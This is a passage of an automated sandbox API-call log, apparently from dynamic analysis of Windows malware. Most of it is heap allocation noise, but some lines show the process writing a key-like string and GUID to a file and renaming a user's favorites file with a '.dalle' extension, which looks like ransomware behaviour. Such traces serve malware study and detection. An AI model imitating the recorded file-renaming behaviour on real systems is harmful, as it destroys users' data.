returned 0x3093b88 [0121.425] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M", cchWideChar=-1, lpMultiByteStr=0x3093b88, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M", lpUsedDefaultChar=0x0) returned 41 [0121.425] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x430) returned 0x3096780 [0121.425] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3093b88 | out: hHeap=0x5e0000) returned 1 [0121.425] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33af0 | out: hHeap=0x5e0000) returned 1 [0121.425] WriteFile (in: hFile=0x618, lpBuffer=0x3096780*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x388fb2c, lpOverlapped=0x0 | out: lpBuffer=0x3096780*, lpNumberOfBytesWritten=0x388fb2c*=0x28, lpOverlapped=0x0) returned 1 [0121.425] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3096780 | out: hHeap=0x5e0000) returned 1 [0121.426] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0121.426] WriteFile (in: hFile=0x618, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x388fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x388fb2c*=0x26, lpOverlapped=0x0) returned 1 [0121.426] CloseHandle (hObject=0x618) returned 1 [0121.426] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xa0) returned 0x2ffff40 [0121.426] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x8b0) returned 0x3096780 [0121.426] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2ffff40 | out: hHeap=0x5e0000) returned 1 [0121.426] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Spaces.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\windows live\\windows live spaces.url"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Spaces.url.dalle" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\windows live\\windows live spaces.url.dalle")) returned 1 [0121.427] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3096780 | out: hHeap=0x5e0000) returned 1 [0121.427] VirtualFree (lpAddress=0x3640000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0121.428] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f7e028 | out: hHeap=0x5e0000) returned 1 [0121.428] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d8930c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows Live Spaces.url", cAlternateFileName="WINDOW~3.URL")) returned 0 [0121.428] FindClose (in: hFindFile=0x3008f60 | out: hFindFile=0x3008f60) returned 1 [0121.428] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fdb1c0 | out: hHeap=0x5e0000) returned 1 [0121.428] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30186c8 | out: hHeap=0x5e0000) returned 1 [0121.428] PeekMessageW (in: lpMsg=0x388ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388ff08) returned 0 [0121.428] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33af0 [0121.428] PeekMessageW (in: lpMsg=0x388fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388fb74) returned 0 [0121.428] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33a20 [0121.428] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.428] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.428] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33a20 | out: hHeap=0x5e0000) returned 1 [0121.428] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33a20 [0121.428] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0121.428] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.428] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33a20 | out: hHeap=0x5e0000) returned 1 [0121.428] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33a20 [0121.428] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0121.428] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.428] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33a20 | out: hHeap=0x5e0000) returned 1 [0121.429] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33a20 [0121.429] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0121.429] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.429] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33a20 | out: hHeap=0x5e0000) returned 1 [0121.429] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33a20 [0121.429] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0121.429] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.429] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33a20 | out: hHeap=0x5e0000) returned 1 [0121.429] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33a20 [0121.429] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0121.429] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.429] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33a20 | out: hHeap=0x5e0000) returned 1 [0121.429] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33a20 [0121.429] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.429] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc2e) returned 0x3092b80 [0121.429] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.429] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0121.429] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33a20 | out: hHeap=0x5e0000) returned 1 [0121.429] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33a20 [0121.429] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.429] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.429] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33a20 | out: hHeap=0x5e0000) returned 1 [0121.429] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33a20 [0121.429] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0121.429] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.429] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33a20 | out: hHeap=0x5e0000) returned 1 [0121.429] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33a20 [0121.429] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0121.429] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0121.429] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33a20 | out: hHeap=0x5e0000) returned 1 [0121.429] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33a20 [0121.429] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0121.430] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0121.430] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33a20 | out: hHeap=0x5e0000) returned 1 [0121.430] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33a20 [0121.430] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.430] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.430] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33a20 | out: hHeap=0x5e0000) returned 1 [0121.430] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33a20 [0121.430] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.430] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.430] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33a20 | out: hHeap=0x5e0000) returned 1 [0121.430] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33a20 [0121.430] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0121.430] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.430] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33a20 | out: hHeap=0x5e0000) returned 1 [0121.430] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33a20 [0121.430] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0121.430] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.430] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33a20 | out: hHeap=0x5e0000) returned 1 [0121.430] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33a20 [0121.430] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0121.430] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.430] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33a20 | out: hHeap=0x5e0000) returned 1 [0121.430] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33a20 [0121.430] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0121.430] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.430] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33a20 | out: hHeap=0x5e0000) returned 1 [0121.430] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33a20 [0121.430] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0121.430] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.431] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33a20 | out: hHeap=0x5e0000) returned 1 [0121.431] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33a20 [0121.431] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.431] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.431] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33a20 | out: hHeap=0x5e0000) returned 1 [0121.431] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33a20 [0121.431] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.431] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.431] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33a20 | out: hHeap=0x5e0000) returned 1 [0121.431] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33a20 [0121.431] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.431] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.431] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33a20 | out: hHeap=0x5e0000) returned 1 [0121.431] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33a20 [0121.431] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0121.431] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.431] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33a20 | out: hHeap=0x5e0000) returned 1 [0121.431] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33a20 [0121.431] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0121.431] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc46) returned 0x3092b80 [0121.431] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.431] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0121.431] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33a20 | out: hHeap=0x5e0000) returned 1 [0121.431] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33a20 [0121.431] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.431] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.431] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33a20 | out: hHeap=0x5e0000) returned 1 [0121.431] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33a20 [0121.431] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.431] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc2e) returned 0x3092b80 [0121.431] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.432] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0121.432] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33a20 | out: hHeap=0x5e0000) returned 1 [0121.432] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33a20 [0121.432] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0121.432] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0121.432] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33a20 | out: hHeap=0x5e0000) returned 1 [0121.432] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33a20 [0121.432] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0121.432] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0121.432] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33a20 | out: hHeap=0x5e0000) returned 1 [0121.432] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33a20 [0121.432] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.432] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.432] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33a20 | out: hHeap=0x5e0000) returned 1 [0121.432] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33a20 [0121.432] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.432] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.432] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33a20 | out: hHeap=0x5e0000) returned 1 [0121.432] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33a20 [0121.432] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0121.432] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc46) returned 0x3092b80 [0121.432] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.432] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0121.432] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33a20 | out: hHeap=0x5e0000) returned 1 [0121.432] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33a20 [0121.432] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0121.432] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.432] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33a20 | out: hHeap=0x5e0000) returned 1 [0121.432] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33a20 [0121.432] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0121.432] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.432] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33a20 | out: hHeap=0x5e0000) returned 1 [0121.433] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33a20 [0121.433] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0121.433] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.433] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33a20 | out: hHeap=0x5e0000) returned 1 [0121.433] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33a20 [0121.433] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0121.433] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.433] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33a20 | out: hHeap=0x5e0000) returned 1 [0121.433] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33a20 [0121.433] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0121.433] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.433] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33a20 | out: hHeap=0x5e0000) returned 1 [0121.433] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33a20 [0121.433] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.433] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.433] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33a20 | out: hHeap=0x5e0000) returned 1 [0121.433] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33a20 [0121.433] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.433] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.433] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33a20 | out: hHeap=0x5e0000) returned 1 [0121.433] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33a20 [0121.433] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.433] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.433] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33a20 | out: hHeap=0x5e0000) returned 1 [0121.433] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33a20 [0121.433] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0121.433] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.433] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33a20 | out: hHeap=0x5e0000) returned 1 [0121.433] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33a20 [0121.433] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0121.433] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc46) returned 0x3092b80 [0121.433] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.434] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0121.434] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33a20 | out: hHeap=0x5e0000) returned 1 [0121.434] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33a20 [0121.434] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.434] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.434] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33a20 | out: hHeap=0x5e0000) returned 1 [0121.434] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33a20 [0121.434] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0121.434] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0121.434] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33a20 | out: hHeap=0x5e0000) returned 1 [0121.434] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33a20 [0121.434] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0121.434] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0121.434] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33a20 | out: hHeap=0x5e0000) returned 1 [0121.434] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33a20 [0121.434] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.434] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.434] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33a20 | out: hHeap=0x5e0000) returned 1 [0121.434] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33a20 [0121.434] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.434] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.434] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33a20 | out: hHeap=0x5e0000) returned 1 [0121.434] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33a20 [0121.434] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0121.434] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc46) returned 0x3092b80 [0121.434] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.434] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0121.434] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33a20 | out: hHeap=0x5e0000) returned 1 [0121.434] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33a20 [0121.434] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0121.435] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.435] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33a20 | out: hHeap=0x5e0000) returned 1 [0121.435] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33a20 [0121.435] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0121.435] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.435] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33a20 | out: hHeap=0x5e0000) returned 1 [0121.435] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33a20 [0121.435] 